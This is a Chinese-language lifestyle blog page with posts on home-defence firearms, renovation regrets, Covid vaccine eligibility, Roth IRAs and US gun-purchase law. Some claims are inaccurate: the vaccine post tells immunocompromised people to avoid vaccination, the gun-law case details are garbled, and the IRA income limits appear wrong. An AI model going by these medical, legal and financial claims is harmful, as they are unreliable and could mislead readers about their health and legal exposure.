因此建议要带现金,一定要带六千美元以下,是最安全的。如果要带八千美元以上,机场的官员他就会翻箱倒柜,又查你的人民币,又查你的其他的证券什么支票,他凑够一万美元就开始罚你。就是说不凑一万,说你有嫌疑违反,给你上黑名单,以后你每次旅行都要被检查,很麻烦。

2021-06-01 / by / in , , ,
家防自卫买什么枪好/手枪、霰弹枪、步枪家防作用特点、价格/美国枪械法对买枪的限制

文/弗光照

美国是一个枪支合法的国家,美国枪械法赋予人民携枪自卫的权利。在这个环境中,具备家防自卫home defese的能力,保护自己和家人的生命安全非常重要。枪支对于入室的罪犯最有震慑力,那么家防自卫买什么枪好?什么枪最适合家防自卫?下面我们一起了解家防自卫用枪的种类、特点和子弹等。

一.家防枪有3种:

1)霰弹枪 Shotgun:即猎枪,也叫散弹枪,是最实用、普遍的家防自卫用枪,打出去的是散弹,命中率高;

2)手枪 Handgun:手枪易学,小而方便,易于携带和隐藏,适用于个人自卫、家防。可随身携带;适合车内、室内等狭小空间;各州对于手枪的携带要求各有不同,如德州就要求隐藏携枪。

3)步枪 Rifle:弹容量大、射速快,只有出现社会大骚乱才需要。

二.家防枪的特点:

1.霰弹枪(shotgun)射程近,防御面积大,是美国家庭家防自卫的标准配置。特别是家里院子大,想要威慑力强的武器,那就非霰弹枪莫属了;

  • 优点:1)因打出去的是散弹,命中率高。

——————2)穿透力差,但是打中人体之后,杀伤力极大。罪犯一听到枪弹上膛的声音,就会马上逃跑。

  • 缺点:1)枪身长拿着不太方便。

——————2)平时在家放在哪里是个大问题:即要在最短的时间内将长枪拿在手里准备射击,又不易被家里的孩子够到?

——————3)霰弹枪有的没什么杀伤力;有的伤力大的,后坐力也大,难控制。新手要注意:霰弹枪在室内使用时,如果射到坚硬物体不能穿透,反弹回来很危险,会对射手造成伤害,所以很多室内靶场不让使用,室外靶场也少有合适的练习场。

2.手枪:主要是半自动手枪、左轮手枪2个类型

  • 半自动手枪:装弹量大,射击速度比较快。
  • 左轮手枪:结构简单,性能更加可靠,但射击速度慢,弹量小只有6发

3.步枪

  • 优点:火力强大,弹匣容量大;
  • 缺点:不便第一时间拿到,缺乏灵活性,在狭小的室内,车内使用起来会受限。同样,在家放在哪里是个大问题

————————————图为左轮手枪    6发子弹

三. 家防自卫用枪的型号、价格:

1霰弹枪:A. 霰弹枪有3种:

1)Pump 泵动式霰弹枪:就是每打完一发子弹,就要手动推拉一下枪栓

  • 优点:泵动式机械原理简单可靠,价格便宜。
  • 缺点:会有人为操作失误,如果推拉枪栓不到位会卡壳。

2)semi-auto 半自动霰弹枪:只需扣动扳机就OK

  • 优点:速度快,
  • 缺点:对子弹比较敏感,有的枪子弹换一个牌子就卡壳。

3)双管霰弹枪:因为只有2发子弹,选用的人很少。

B. 霰弹枪的口径:有12GA、20GA两种

  • 12GA口径霰弹枪:比20GA的口径大,重量沉,后坐力强,威力也大一些。选择的人比较多,子弹容易买到,价格合适。质量好的牌子,有Remington870、Mossberg500、Bennli(意大利霰弹枪公司制造)等哪个都不错,价格大众都在400-500美元左右。
  • 20GA口径霰弹枪:比较适合女士。如:Mossberg 500 Super Bantam,泵动式,枪托比普通型短,价格在500美元左右。

———————————          霰弹枪

2.手枪(Pistol/Handgun):

1)从构造原理分: 有左轮手枪revolver、半自动手枪semi-automatic  2种。枪界周知的好牌子:自动手枪Ruger鲁格,左轮手枪Smith&Wesson斯密思威森。

  • 左轮手枪的优点:结构简单,不易损坏,不卡壳(要选正经牌子),不需要拉套筒上膛,适合初学者。
  • 缺点:扳机力相对比较大,不如自动手枪容易打准;弹容量小,一般只有5-6发。

左轮手枪.357Mag,可以打两种口径的子弹:.357Mag威力大3倍左右,后坐力也大,适合男士用;.38Special可以女生用。小口径子弹便宜,而大口径更实用。

  • 自动手枪的优点:弹容量大,换弹匣快,美国警察以前用左轮现在都换成半自动了。
  • 自动手枪 的缺点:易卡壳,如射击姿势不对,手腕没挺紧导致卡壳。还有总是有人忘拉套筒上膛。自动 手枪的口径9毫米的比较大众,子弹便宜,威力够用

2)手枪的尺寸:

  • 大尺寸手枪,体积大,全钢材质比较重,优点:射击姿势非常容易控制,性能可靠。自动枪的装弹量大,缺点是不利于携带。
  • 小尺寸手枪,材质包含聚合物、铝合金,体积小重量轻,适合便携防身。缺点是弹容量很小,后座力很大。

3)手枪的世界品牌奥地利意大利GLOCK格洛克美国Smith & Wesson、Ruger鲁格 、Colt柯尔特M1911A1、Springfield Armory斯普林菲尔德、意大利Beretta贝雷塔德国SigSauer西格邵尔、HK(Heckler&Koch)赫科勒·科赫、 Walther 瓦尔特等! 

A)大众型号手枪:价格大约在500-700美元之间。Glock枪中的品牌,性能好,实用可靠。大约60%的美国警察配用它。 G17 尺寸、重量较小,握把比较方(有人会觉得不趁手)。还有Springfield、Sig P365 XL、Smith & Wesson的M&P9手感好、Walther PPQ扳机好,打得准、 Beretta 92F美国军用手枪—M9,非常稳定。

B)名牌型号手枪:价格大约在800-1000美元的枪。Guns.com网站2020年的销售冠军就是G19 Gen 5 MOS;还有Sig P226,公认的打得很准的手枪,9毫米的,美国海军陆战队的海豹突击队的配枪;HK的枪非常昂贵公认可靠性好的枪。如握把比较宽大的USP系列;尺寸较小的P2000;尺寸居中的P30等。

3.步枪(Rifle)

半自动步枪是平民持有威力最大的武器,但不适合家庭自卫枪支,极易误伤他人。并且,这种枪对使用者要求较高,需要有专业训练,射击姿势、日常养护、瞄具校准等。

标准持枪方式:食指放在扳机框上,只有射击的刹那,食指才扣动扳机。

 四.请记住买手枪的几个要点:

1)买枪前:用枪关键是趁手,最好是买枪前在去靶场,把你想买的枪租一下试试是否趁手。

2)选枪:精致小巧的手枪,后坐力越大,不易打准。反而大而重的手枪最实用,后坐力小,打得准。

.买子弹:

自卫子弹一般选择hollowpoint,空尖弹 (JHP),即弹头前面开口,杀伤力强,贵。常见的牌子有Speer,federal,Remington等。

  • 价格大约是1发1美元。平时练习时可用便宜的子弹。
  • 买了枪,必须给你的新枪多次测试子弹,保证子弹的可靠性。因自动手枪对子弹敏感,易卡壳。最好打满一弹匣子弹,让枪和子弹充分磨合,如果有子弹问题赶紧换。
  • 隔几个月试一次。因为自动枪支不可以让弹夹弹簧和扳机弹簧成年累月处于压迫状态,否则,影响弹簧的可靠性。
  • *注意2019年起,子弹购买也需要注册和背景调查。

.买了枪,去哪里练习?

  • 实弹练习,要去靶场。靶场有商业的、非营利政府的、及俱乐部。商业的靶场比较多,价格高,可租不同型号的枪。租枪不贵,大概只要十几美元,贵的是弹药。
  • 靶场会提供一些基本的手枪、步枪、霰弹枪课程。学习正规的课程,教练会帮你养成极为重要的安全意识、和用枪习惯。
  • 既然买了枪,没兴趣人的也要保持基本的练习,别忘了怎么开枪。

.美国枪械法对买枪的限制

拥枪其实是很麻烦的事,您必须熟知美国枪械法和当地法规,限制如下

  • 从2017年1月起, AR/AK 系列长枪在加州售卖违法.
  • 弹匣超过10发子弹违法
  • 不能连发,全自动的不可以
  • 枪管必须超过16寸,步枪总长要超过30寸, 散弹枪总长要超过26寸
  • 有可拆卸弹匣的枪要有弹匣锁,你就无法快速换弹匣

.其他的家防自卫设备

  • ADT之类的安防系统,警报声一响震慑作用也非常好,有些型号可以自动联系警察。
  • 门窗报警(尤其是玻璃break报警);如果大门是很大一块玻璃额外装一个security screen door防盗门。
  • 摄像头要安装在显眼处,最好带夜视功能、自动亮灯功能(会警示坏人)。这样上班不在家的时候安心;晚上睡觉也放心一些。

总之,手枪最重要的一个优势:触手可及,在危急关头能第一时间拿到;步枪或者霰弹枪,通常为了防止走火一般都是放在枪柜或者枪盒,没有手枪好操作。不同的人可根据有不同的家庭情况,选择不同的枪。

还要注意的是:既然是家防自卫,那么家里一定要随时准备一支上了膛的枪(always keep a loaded gun)应急。

在美国,私人庭院范围内拥有的强大自卫权利,保证私有财产神圣不可侵犯。家庭必备家防自卫枪支可有效同保障家庭安全,也可减少入室偷盗或入室抢劫情况发生。在自己家击毙认为威胁到自己安全的陌生人,往往是无罪的,而陌生人却没有对等权利。所以,未经允许进入别人家是违法的,也很危险,这是常识。

枪有两个作用:一是威慑,吓跑罪犯足够了;二是last defense了真到了危急情况射击救命。古人云:一念成佛一念成魔,得饶人处且饶人。能吓跑罪犯,就尽量不要伤及性命了吧。

2021-05-31 / by / in , , , ,
纽约装修必看!18个可能让你后悔的家装产品

也许你是一个非常自信的人,甚至于你是一个很棒的设计师,但是在房屋装修完成以后,或多或少都会有些让你后悔的地方,因为在美国纽约装修房屋时,有很多的变量,也可能会让你在压力下、或是在有限的时间里做出重大的决定。有一些错误的决定在装修完工之后是很难补救的。

本文为您盘点18种在房屋装修后可能让你后悔的家装产品,也许会使您免于日后的头痛。

  • 浴缸

毋庸置疑,浴缸很占地方,小户型的房子还是不要考虑了。即使你的卫生间足够大,在安装浴缸前也一定要三思。

想象着能常常舒适的泡个澡,觉得很开心。可现实是每次放满整缸水要二三十分钟,浪费水又浪费时间。浴缸清洗也很麻烦,每次泡澡都要折腾很久。本来想天天泡澡,结果很可能嫌麻烦,一个月泡不到三次,最后浴缸就变成储物缸了。

  • 地毯

地毯可以让家里充满高贵又大气的格调,但实际上,铺设地毯是居家装修后最容易让人后悔的。

地毯拥有惊人的藏污纳垢的能力,还特别难清洁。各种毛发、灰尘、食物碎屑、细菌、螨虫都隐藏在地毯里,想想就让人毛骨悚然,你必须得经常打扫。

另外,市面上有一些地毯加入了劣质胶水,是甲醛污染的重要源头。

地毯这种东西看起来很美好,但是华而不实,在买之前一定要慎重,不要买完再后悔呃。

  • 水晶吊灯

很多人都喜欢梦幻的水晶灯,水晶灯最大的作用就是装饰,在家庭日常生活中基本没啥实用性,不适合日常的照明,因为水晶灯比较晃眼,使用时间长了以后还会积聚很多灰尘,很难拆下来清洁,更换灯泡也很麻烦。

  • 台上盆

不得不承认台上盆的颜值的确很高,装在五星级酒店还是非常不错。但对于大部分家庭来说。 台上盆不适合安装在家里。台上盆和台面的结合处很容易积水和发霉,并且很不好清理。

有些台上盆的设计还会制造卫生死角,根本没法清洁成了细菌的温床。

  • 壁纸

想象中壁纸花样多,美观又有气氛,有花有草,看了就觉得享受。但事实上壁纸的寿命很短,很容易会有受潮的现象。通常用个四五年,边角就会到处翘或是起球,还得要重贴。

另外还有甲醛污染,壁纸都需要用胶水粘贴,可能几个月味道都散不去。不如选择乳胶漆更好更实用。

  • 懒人沙发

很多人买它都是被广告忽悠的,买回来坐两次就不会再碰它了。因为懒人沙发是没有支撑点的,坐在上边特别费腰,躺上面玩手机的话,可能半个小时就受不了了。它还特别占地方,又极其不好收纳,家里的柜子是装不下的,最后只能扔在角落吃灰。

如果非要买,建议大家还是买单人沙发吧。

  • 吊椅

有的人觉得在阳台上装一个吊椅,入住后会经常在上面度过悠闲的时光,好不浪漫,可是真正居住后,吊椅没做几次,上面衣物杂物倒是堆得满满的,又成了一个杂物死角。

  • 沙发折叠床

这个产品想法很好,实际很鸡肋。家里来客人了,可以把它打开当床,没来客人的时候,可以折叠起来当沙发,功能非常棒,还省地方。但现实却是一年下来,没来几个朋友在自己家里过夜,慢慢成了堆放衣服杂物的地方。

  • 开放式书架

是不是幻想着像文青一样,一整个柜子放满了书,高端又大气,非常有气质的悠闲看着书,柔美的画面。但现实却是用了一阵子之后才发现,自己没那么多书可以塞满书柜。

这类书架三天不擦就会粘上一层灰尘,清扫的时候还要注意不能沾水。落在上边的灰尘很难清洁干净,说实话各种颜色不一样,大小不一样的书本放在一起确实不好看,只会让整个空间显得凌乱。建议装设门板或玻璃门更高贵又时尚。

  • 大茶几

有小孩或者计划要小孩的家庭,茶几还是越简单越好,大茶几占据了玩耍的空间,最终只能扔在角落,成了杂物桌。

  • 深色木地板

理想中的深色地板是为了耐脏,就算脏也不易看出来,可是等到灰尘积满之后才发现,深色地板其实一点都不耐脏,一点点小灰尘看起来更明显。而且深色地板会让整个房间色调变得灰暗阴沉,也很容易过时,装的会让你想敲掉重做。还不如选择原木地板来的美观又明亮。

  • 地插

地插这东西在生活中是藏灰加碍事,打扫不方便,走路还容易绊脚。书房做可以,因为很多办公桌都是居中放的,周围没地方装面板。但为了吃顿火锅,装在客厅餐厅就有点不适合了,因为一年可能也吃不了几顿火锅,就算你家经常吃火锅,临时拉一个大排插也不费事。

  • 假梁吊顶

典型的装饰,多过实用的造型设计。大houses这么做,还可以理解,毕竟空间大,层高也高,但是一般平层不建议凑热闹,这东西对平层而言不仅没用,还压层高,巨显空间压抑又不好看。选择这类吊顶一定要慎之又慎。

  • 壁灯

这里说的壁灯主要是指那种紧贴墙面且不可调节距离和方向的壁灯。这种灯用来看书不够亮, 用来当夜灯位置太高、太刺眼,用来照明它除了照墙,哪儿都照不了,而且这东西坏了还特别不好维修。

如果非要装辅助灯源的话,建议大家还是装摇臂灯或者落地灯。

  • 旋转餐桌

请务必谨慎考虑,这种餐桌只适用于八至十个菜的席面,这种席面一年可能都没有几次,一般人家过日子,一顿无非也就三五个菜,这才是生活的日常状态。所以普通的方桌才是最合适的。这个大的转盘不仅没用,平时夹菜还不方便。

  • 吧台

有很多朋友都想弄这东西,都已经幻想好了,以后加班的时候可以在这办公,休闲的时候可以坐着喝喝红酒,看看书,很有情调的样子。

然而现实是吧台因为台面太小,在这工作舒适度很低,在这办公还不如在餐桌上方便。至于在吧台喝酒看书,可能也就刚开始的时候新鲜两次,最后才发现还是在沙发上比较舒服。

  • 玻璃门衣柜

玻璃衣柜颜值确实很高,不过决定做之前,最好先打开现在用的衣柜看看,如果是整齐有序的,那说明你平时是个爱收拾的人,可以做。如果是乱七八糟的,那还是放弃吧,普通衣柜乱无所谓,反正柜门一关就啥也看不见了,但玻璃柜门关了和没关的区别并不大。哪怕用黑色的也是能看得清内部空间的。不收拾好的话,不要说颜值,整个空间都会显得乱。

  • 消毒柜

消毒柜是一种很鸡肋的厨房电器,大部份人买回家根本用不了几次。自家用的餐具,哪用得着天天消毒。占地方不说,放久了机器里还有一股怪味,如果你的确需要餐具消毒,可以考虑买个带消毒功能的洗碗机。

 

2021-05-30 / by / in , , , ,
2021在美必看新冠疫苗 Covid vaccine详解|哪类人不适合打疫苗

文|雨荷

目前接种新冠疫苗Covid vaccine是每一个人都要逐步面对的问题。专家为您解答,哪类人群不适合打疫苗?

现在所有上市的,已经公开发表三期临床实验数据的这些疫苗,都有一个共同的特点,就是临床研究是一个理想化的人群,因为要研究一个新的东西对人到底有没有害、有没有用,就要在相对背景比较单纯的人群中去做营救。

这是临床研究的一般规则,选的就是健康的人群。什么属于健康呢?首先对于这些打疫苗的人来说,希望产生抗体,不能有免疫缺陷,有免疫缺陷的人他产生不了抗体,打了也白打。但是并不能代表整个广大人群,所以这些疫苗实验,都会除外这些免疫缺陷的人群。

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中共病毒 示意图。

免疫缺陷的人群

有慢性病毒性的感染,比如艾滋病,常见引起很严重的免疫缺陷的、继发性免疫缺陷的一个疾病,还有乙型慢性肝炎,这些病毒慢性的、活动性的感染,会干扰免疫力。

有贫血、癌症,这些都是除外的。有慢性病,比方慢性的心脏病、中风都被排除在这些临床研究之外。另外也不能抽烟,不能喝酒,也不能吸毒。注射部位有大面积的纹身也不能用,还有不能有任何过敏史。

总体有一个原则,就是如果您的身体已经感觉不舒服了,不管是什么原因不舒服,是基础病也好、或者是莫名其妙的不舒服也好、比方说发烧、虚弱、肌肉痛、疲劳、关节痛,建议您就暂不要去考虑打疫苗的事。

即使预约了也可以把它推迟掉,因为在不舒服的情况下,这时候打不打疫苗您都会不舒服,最后会把事情搞得很复杂,所以这是个基本的原则。换句话说,打疫苗是要在您身体感觉良好,自己感觉身心各方面比较佳的时候去打。

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新冠疫苗 示意图。

糖尿病三高类

糖尿病身三高的人,总体的原则是看疾病的严重程度,比方说糖尿病控制得不错了,餐后血糖是7-8mmol/L说明控制的还不错,血压也控制的比较理想的,是可以打的。

假设血糖平时都很高,空腹到了十以上,或者是血压到了160-170,如果是这种情况,建议暂缓考虑新冠(中共病毒)疫苗,把基础疾病治疗一下,疾病处于不稳定的状态,打不打疫苗都可能会出不舒服的状况,所以要注意防护这一点。

心血管病类

如果心脏病控制的很好。几个月都没有任何的心脏的症状了,那就可以考虑。但是有不稳定性的心绞痛,而且还经常发作,还有一个持续的无力、头晕、时不时感到心跳加速,要去医院去排除,心脏病发作可能加重了,心梗的先兆了,这种情况不建议打的。

心脏病 示意图。

如果您的心功能如果是很衰弱的情况下,做一些很轻微的日常活动都很费劲,是很虚弱的状态,心功能三四级的这种状态,建议先控制基础病,调好了再来考虑疫苗的事。

正在用药的一些人

假如您用降血脂的药,降血脂的药有个常见的副作用,就是引起肌肉疼痛,打疫苗它也有一个常见的副作用,那就是肌肉疼痛。在这种情况下,您吃着这个药物,又打了疫苗,万一肌肉痛又加重了,就不容易分清到底是药物该停了,还是疫苗引起来的。

所以在这种情况下,为了避免说不清楚的复杂情况,咨询您的医生,看看这个药物是不是可以再缓一缓,或者是剂量减一减,或者是其他的一些处理。

关于药物

要详细跟你的医生,把您所有用药的单子过一遍,看看有哪种药有可能跟将来考虑的所打的疫苗成分之间有相互作用的。如果这种有嫌疑的,建议要慎重,因为药物之间的相互作用太常见了,互相影响这个代谢或者是免疫,这些有可能都会引起复杂的情况,不太好判断。

身体虚弱的老人

身体虚弱的老人 示意图。

身体虚弱的老人,就看是什么原因虚弱的。如果跟年龄大有关的虚弱,精神状态很好,问题不大。如果虚弱是突然最近一段时间引起来的,而且找不到原因,就要值得去警惕,是不是心脏病发作的先兆,或者脑血管病的发作先兆。

尤其是当您的精神也突然变弱的时候,一定要谨慎,这时候最好是先到医院去排查一下,有潜在疾病的可能性,等这个恢复到您的正常状态下再来考虑。

癌症(实体肿瘤、非实体)

实体癌还是良性的癌肿瘤,这些其实问题不大的,因为它不会影响您的免疫力。但是非实体癌主要就是血液癌,尤其是淋巴系统的癌症,它直接影响您的免疫功能,它的免疫力实际上是很低的,因为这些淋巴细胞它就异常的增生,而且它没有正常的免疫细胞的这种功能,而打疫苗是要靠免疫力发挥正常的作用,才能起到产生抗体的作用。

所以在这种情况下,就算打了疫苗,也不能产生抗体,建议暂时不要考虑,建议您去治疗,好好的跟进一下血液系统的这种癌症,等到治疗好转了,然后免疫力恢复了以后,再在医生的指导下再去考量。

免疫缺乏性的这个疾病

免疫缺乏性的人群,打疫苗的临床实验最常见的排除人群,就因为他们免疫缺乏了,免疫力没有了,打了疫苗也没有用,那实验不就白做了吗?所以就是说这方面的数据是非常缺失的。那就是说打了疫苗也可能也没有用的。

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新冠疫苗 Covid vaccine 示意图。

首先建议就是治疗基础病,比方说艾滋病人,要去控制艾滋病病毒的这个繁殖,长期使用抑制剂的,请您去看看是不是来咨询医生,怎么样去处理一下。然后有些先天性免疫疾病的患者,先天性的免疫功能下降,这也是不要考虑打疫苗的。要治疗它的根本的疾病的问题在先。

怀孕和哺乳期妇女

这些人也是被临床试验首先排除在外的,因为主要是为了保护孕妇和胎儿的安全,不要有任何对胎儿造成意外的一些风险。那目前的数据也是缺乏的,没有任何数据能够给一个很好的判断。也没有各个疫苗的上市之后的说明书,疫苗也没有任何证据会针对孕妇有任何安全性的一个隐患,但是也没有临床的数据证明是安全的,所以需要疫苗公司将来可能要在这个孕妇人群中进行后续的临床研究,才能够给大家有证有临床实验数据基础的判断。

过敏体质类

如果是过敏体质要慎重,过敏体质就是说对很多种成分都可能过敏,建议去看一下怎么把体质给调整好。

还有一部分人几年前,曾经用过青霉素或者什么药。对这一种药过敏,或者是吃过一种食物,比方说对虾过敏,或者是被咬过一次然后发现过敏。就这种偶尔发生的过敏事件的人群,不见得是绝对不能打的。

怀孕 示意图。

因为人的体质是随时在一个动态的变化之中,过去曾经在那个阶段,免疫系统可能对那个东西过敏,不见得现在的免疫系统还是同样过敏的状态,也不能表明你的免疫系统对现在疫苗成分会过敏。所以要具体情况要具体地去看。

所以建议您选择什么样的疫苗,打还是不打,跟你的医生好好的去谈一下,去商量一下,拿出比较对您最便利的、最有效可行的方案来。

感染了新冠病毒人可以打疫苗吗?

那就是从理论上来讲,已经得过新冠病毒(中共病毒)感染的人,体内已经感染过了,可能已经有抗体了。不管抗体低度高还是低,其实已经有抗体。所以在极限的时候,打疫苗之前测,可能就已经在那里,会影响疫苗的这个效果的判定。所以这些人就是被科学家排除在疫苗的临床研究之外的原因。

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新冠病毒疫苗 示意图。

那就是说不管您得没得过,现在因为很多数据都是缺失的,也不晓得您得过产生的抗体会保护您多久。似乎是得了之后的人也产生了很有效的综合抗体,而且低度还比较高。

所以确实没有说不让您打,打还是有作用的,即使您已经康复了,也有可能再感染的。所以目前总体的推荐还是可以接种的。但是现在正在感染的,那就不建议打,比如说有发烧、有些症状,那还在急性期的,那要等到急性的感染症状恢复之后,然后等到隔离期结束之后,然后再来看,再来打,是否要打。

在国内打了国产灭活疫苗,几个月后再打MRNA这个疫苗有冲突吗?

没有临床研究来解答这个问题。目前的所有的疫苗实验都是同一种疫苗的一季或者双季的单纯的接种,没有混合接种的临床研究。

牛津大学正在进行一项临床实验,就是探索单季和第二季用不同种类的,比方说MRNA的或者实现病毒载体,这两种混在一起看谁先打哪个,再打哪个,然后看对他的免疫力,是不是有一个比单纯接种的更好、更持久,或者是这样的一个研究,我们期待他的数据能够早日的公布。

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中共病毒疫苗 示意图。

所以在获得临床研究数据之前,我们对这个疫苗混用持一个谨慎态度,所以就是建议还是尽量能用同一种疫苗接种。完成全程接种就尽量用同一种疫苗来完成接种。

什么样人绝对不能打新冠疫苗?

根据美国疾病控制与预防中心,还有各种疫苗说明书的共同点,就是禁忌打中共病毒疫苗的人群是两大类,一是已知对疫苗的任何成分有严重的即发性过敏反应的人群,是禁忌的;二是打第一针就出现了过敏的反应的人,第二针就不要打了。这是大家比较公认的禁忌的情况。

为什么对这一点特别禁忌呢?

因为急性过敏反应有可能引起生命危险,而发泄的速度太快,可以是十几分钟、几十分钟、几小时之内就可能导致人去世的,所以不是小事儿。

如果说有急性过敏反应或者已经有反应的,一定要禁忌的。如果一旦发生了,马上叫急救车送医,而且最好是在旁边备一些急救的药物,打疫苗的地方都要有对急救药物备着的,一旦发现这种情况,能够马上抢救接种者。

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中共病毒疫苗 示意图。

阿司匹林疫苗的说明书也讲到很特别的情况,焦虑相关的反应。焦虑是因为人对新鲜的事物接受上有一个过程,而且也有些紧张,所以打疫苗之前有可能有一些压力,引起血管的神经反应,会引起晕厥,这是一种压力相关症状。

关键是一些老年人如果万一晕厥,有可能就摔伤了,会引起身体的状况。所以就说为什么。老年人打疫苗,就是要特别的看护,要有人陪伴,要适当的多看、多延长观察时间,确保一切都稳定了再离开。这是特别要提出来的,提醒大家要特别注意的。

怎么知道疫苗里面的成分?

中共病毒疫苗拿到都有疫苗装,里面都有疫苗说明书的,说明书上面第一页就写得很清楚,疫苗里面是什么成分,全部写得清清楚楚的,疫苗的开发商告知公众的,这是一点都不能含糊的。拿到疫苗仔细的读一读,如果有任何不懂的问题,去咨询您的医生和当地的卫生部门,再把这个事情弄清楚了,排除所有的问题之后再来打疫苗。

 

2021-05-29 / by / in , , , , , , ,
Roth IRA 螺丝个人退休帐户是怎么回事?存Roth IRA的好处是什么,会不会影响Medicaid医疗卡?

投资增长的利息都不需要缴税?是的

人无远虑,必有近忧,理财的“忧虑”就是要知道,从你能赚钱的那一时刻起,就要把10%赚的钱放到投资理财的篮子里,为将来老年退休不能再赚钱的时候享用。这似乎尽人皆知的道理,似乎许多人都懂的,但真正这样做的大众又有多少呢?

通常,凡在大公司里和政府里工作的人都会被要求存10%的工资到退休账户上,哪怕你是刚参加工作的大学毕业生,一则是为了自己工资收入减税,二则更重要一点,就是储蓄未来,为老年储备无忧无虑的生活做准备。

我们华人家庭第一代来美的创业者,大多数都是自己做小企业或者给别人打工,比如开餐馆、指甲店、理发店,零售商店、批发店等等,都是相关民生的服务行业,而老年被忧虑的群体中,很多是第一代没有足够储备金的老人们。相对他们的子女,大都进了美国大公司里面工作,他们一开始工作就被要求储蓄10%给养老金。他们就没有后顾之忧了。

所以,家庭第一代华人如果不知道有计划的存储投资,等到老年时就会出现忧虑退休金不足的大问题,生活质量就明显下降了。但有些人说我不敢存钱投资,不然到老了就享受不到政府的福利了。这些想拿福利的人群最担心的是政府的医疗卡被取消资格,所以为了保留将来自己有资格享受买Medicaid医疗卡,索性放弃存钱投资的机会。结果到了老年,他们享受到了政府医疗卡的同时,却丢掉了享受生活的品味,甚至自己的地税都很难应付,晚年收入来源完全依靠社会安全保障金生活,处于捉襟见肘的境地,生活质量可想而知。

其实,在美国的税法中,只要存钱得法,到老年时又有钱花又可以享受你的医疗卡,就是要学会存Roth IRA,又叫螺丝个人退休账户。这个账户是用税后的钱去投资,每一年国税局有数额限定,比如2020年最多可以存$6000,如果50岁以上,另外允许再多存1000,总共可以存$7000。前提条件是,单身报税工资收入不能超过$76,000,夫妻一起报税年收入不能超过$125,000。Roth IRA 最大的好处,就是老年拿钱的时候是不需要报税的,包括增长的利息所赚的钱都不需要报税。

假如你今年45岁,夫妻每年存$12000, 假如每年平均8%的回报,到你65岁的时候, 账户里已经有60多万了。每个月可以拿$2735一直拿到终老,这个钱是不需要报税的。老年夫妻每个月可以多出$2735,既可以轻松付地税,又有钱出去旅行,每天喝茶钱也有了,如此晚年生活,轻松快乐,生活品质就有保障了。

如果想了解如何开这个账户的详细情况,请联系专业理财师牛凤昀办公室电话:718-833-1889,手提电话:646-239-9778,email:fniu@financialguide.com

2021-05-28 / by / in , ,
华人买枪拥枪必知的美国枪械法/ 为省150美元被判坐牢5年

文/弗光照

因为疫情,很多人逐渐形成了储备意识,但不同的是:在美的华人除了也适当的储备一些食物、日用品之外,不少人还买枪用做家防自卫home defense。要知道,买枪拥枪一定要熟知美国枪械法。因为触犯美国枪械法是重罪,千万要谨慎。下面我们就分享一下买枪拥枪必知的美国枪械法以及经典案例与分析:

一.美国枪械法

美国枪械法基于美国宪法的第二条,即第二修正案,明确规定持枪是受美国宪法保护的公民权利。

二.美国枪械法的特点

美国枪械法非常复杂,有“1国51制”的说法。首先,联邦枪械法全国各州都要遵行;而各州、甚至各市还有地方法律;并且各州枪械法律各不相同,互不兼容,同一个州内的各市法律也不同。而我们要做的就是:联邦法律和地方法律必须同时遵守。

三.华人买枪拥枪必知的美国枪械法

美国枪械法法赋予人们拥枪的权利,同时也要负担相应的法律责任。下面是买枪拥枪必知的美国枪械法:

第一,美国联邦枪械法规定,买枪必须是自买自用,不可以为他人代买。否则,Straw Purchase是重罪,属于Federal Crime。将会被判刑十年,以及最高可达25万美元的罚金。

实例:2009年轰动全美的“枪支代买案”,是因为美国警官Bruce James帮他的叔叔买手枪。为了使用警察折扣,省 150美元,他在填写4473时,将自己填写为实际购买人。尽管被告和他的叔叔都有合法购枪权利,但代买就是犯法。结果被告罪名成立,被判入狱5年。原告不服分别上诉到全美第四巡回法院、最高法院。当时,有9个州和华盛顿特区支持法庭,有26个州表达支持被告。尽管9名大法官意见相当不统一,但最后还是以5比4的微弱优势判决罪名成立。“为省150美元被判坐牢5年”案例让人唏嘘,但“代买枪支违法”成为美国人民人人皆知的法律常识。

第二,买枪必填4473表格,您的4473表格信息、购枪信息要通过FF L在ATF和FBI系统备案几十年。填表故意隐瞒、捏造不实信息,就触犯了美国联邦枪械法,是会判入狱多年的重罪。最高可判处20年监禁,以及一百万美元的罚款。实例分析:

1.丈夫可以买来做礼物送给妻子吗?可以。

在“填表人是否为实际购买者”备注中,要诚实填写买枪是做礼物送人。那么即使最终用户是妻子,丈夫也仍然是实际购买者,其行为是合法的。所以,做人做事要堂堂正正的,没必要撒谎。

2.夫妻的枪是否可以互用?可以家防、打靶都可以。但是如果要转移所有权,就要做过户手续DROS(Dealer Record of Sale),PPT。

3.枪可以转给家人(子女、父母)吗?可以。

但要到FFL(有执照的枪支经销商)办手续。当然家人要有FSC枪证、年龄要求18周岁以上手枪需21周

*4. 美国枪械法规定,4473表格现场填写有效。

第三,美国枪械法规定哪些人不可以买枪?

1.如果有犯罪记录、逃犯、代买、精神病人、吸毒者,家暴史,被法院限制接触家人、被开除军籍的人、未成年人等的任一种情况的人,都不可以买枪拥枪。

2.买枪人的年龄限制: 联邦法律规定年满18周岁可买长枪;年满21周岁可买手枪。而纽约市则规定无论手枪长枪,拥枪者必须年满21周岁。

公开持枪 Open Carry

第四,美国枪械法规定:外国人(无绿卡的)学生,商务,工作签等,不可以在美国买枪拥枪。但有猎照 Hunting License就可以合法买枪拥枪。有的州要求居住时间要超过3个月,有SSN。所以,留学生刚来美国就去枪店看枪摸枪,就违法了。

第五,美国各州枪械法对拥枪型号、持枪方式、运枪(搬家到别的州)等要求各有不同,所以买枪前必需得好好学习当地的枪械法。例如:

  • 在美国各州对两种持枪要求各有不同,有48个州允许隐匿持枪Concealed Carry (手枪上膛随身携带),但要有隐蔽持枪证 CCW。有的州只允许公开持枪Open Carry(即在公共场所公开的持有武器)
  • 有些州规定携枪外出只能在车里,但不能带出车外,要 unloaded and locked(即枪弹分离:1弹匣和子弹分离,2枪身和弹匣分离);放在带锁的箱子里;放在随手够不着的地方—如后备箱。
  • 有些州拥有10发以上的的弹匣违法,但把弹匣改成10发子弹就合法了。
  • 猎照Hunting License需要每年更新,猎照过期拥有枪支就则就是非法持枪,后果很严重。
  • 网上订购枪支,必须从本州有执照的销售商FFL取货。
  • 不允许把枪借给家人以外的人, 除非是通过 Dealer. 把枪借给朋友需要20天的等待时间, 至少去 Dealer 两次, 以及交两次钱等等。
  • 如果枪丢了, 要即使报备, 否则会被禁枪10年. 故意瞒报、没有及时报告, 很可能被判刑事案件.
  • .

第六,在什么情况下可以开枪?

